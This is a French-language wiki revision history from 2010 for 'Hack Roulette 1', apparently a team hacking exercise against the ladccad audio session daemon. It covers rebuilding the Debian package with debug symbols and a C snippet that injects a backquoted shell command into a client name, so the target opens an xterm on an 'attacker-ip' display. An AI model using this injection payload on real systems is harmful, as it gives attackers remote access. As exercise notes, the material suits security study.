Hack Roulette 1 - Revision history

StalkR: /* StalkR */

2010-03-05T09:32:12Z

‎StalkR

2010-03-05T00:33:06Z

‎Piotr & Florent

2010-03-05T00:11:28Z

‎Piotr & Florent

2010-03-04T23:03:13Z

‎Results

2010-03-04T22:51:39Z

2010-03-04T22:03:31Z

‎sbz

2010-03-04T22:02:35Z

‎sbz

2010-03-04T22:02:00Z

‎sbz

2010-03-04T21:56:29Z

‎StalkR

2010-03-04T21:55:50Z

‎sbz

@@ Line 123: / Line 123: @@
 "CCA_Project_Dir" avec un event->string qui sera la chaîne avec backquotes passée au system.
-Pieuvre vient d'indiquer de regarder du côté de clients/simple_client/simple_client.c comme base pour générer une requête.
+Piotr vient d'indiquer de regarder du côté de clients/simple_client/simple_client.c comme base pour générer une requête.
 === sbz ===

@@ Line 164: / Line 164: @@
 </pre>
-j'abuse (phil):
+plus loin... (Phil, Piotr, Florent):
 <pre>
    printf ("hacking...\n");

@@ Line 164: / Line 164: @@
 </pre>
-j'abuse:
+j'abuse (phil):
 <pre>
    printf ("hacking...\n");
    event = cca_event_new_with_type (CCA_Project_Dir);
-   strcpy(client_name, "toto`xterm$IFS-display$IFSattacker-ip:0`\0");
+   strcpy(client_name, "toto`xterm$IFS-display${IFS}attacker-ip:0`\0");
    CCA_DEBUGARGS ("alsa client id: %d", snd_seq_client_id (aseq));
    cca_event_set_string (event, client_name);

← Older revision		Revision as of 23:03, 4 March 2010
Line 163:		Line 163:
	cca_send_event (client, event);		cca_send_event (client, event);
	</pre>		</pre>
		+
		+	j'abuse:
		+	<pre>
		+	printf ("hacking...\n");
		+	event = cca_event_new_with_type (CCA_Project_Dir);
		+	strcpy(client_name, "toto`xterm$IFS-display$IFSattacker-ip:0`\0");
		+	CCA_DEBUGARGS ("alsa client id: %d", snd_seq_client_id (aseq));
		+	cca_event_set_string (event, client_name);
		+	cca_send_event (client, event);
		+	</pre>
		+
		+	Octal attacks should work too ;-)

@@ Line 148: / Line 148: @@
 $ file /usr/bin/ladccad
 /usr/bin/ladccad: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
 </pre>

@@ Line 129: / Line 129: @@
 package debian recompile en mode debug et avec les symboles de debug disponible sur http://10.0.0.219:8000 pour activer les macros CCA_DEBUG et CCA_DEBUGARGS afin de mieux comprendre le protocole, voir ladcca/debug.h et project.c
-paquet debian partage avec python -mSimpleHTTPServer
+paquet debian partage avec
 commandes utilisées:

@@ Line 133: / Line 133: @@
 commandes utilisées:
+<pre>
 $ apt-get source ladccad
 $ cd ladcca-0.4.0
@@ Line 144: / Line 144: @@
 $ file /usr/bin/ladccad
 /usr/bin/ladccad: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped

← Older revision		Revision as of 22:02, 4 March 2010
Line 130:		Line 130:

	paquet debian partage avec python -mSimpleHTTPServer		paquet debian partage avec python -mSimpleHTTPServer
		+
		+	commandes utilisées:
		+
		+	#
		+	$ apt-get source ladccad
		+	$ cd ladcca-0.4.0
		+	$ dpkg-source -x ladcca_0.4.0-6.dsc
		+	$ cd ladcca-0.4.0
		+	$ vim debian/rules, decommenter dh_strip et ajouter --enable-debug à la rule configure
		+	$ sudo aptitude install libjack0.100.0-dev libreadline5-dev uuid-dev
		+	$ dpkg-buildpackage -tc
		+	$ sudo dpkg -i ../*.deb
		+	$ file /usr/bin/ladccad
		+	/usr/bin/ladccad: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped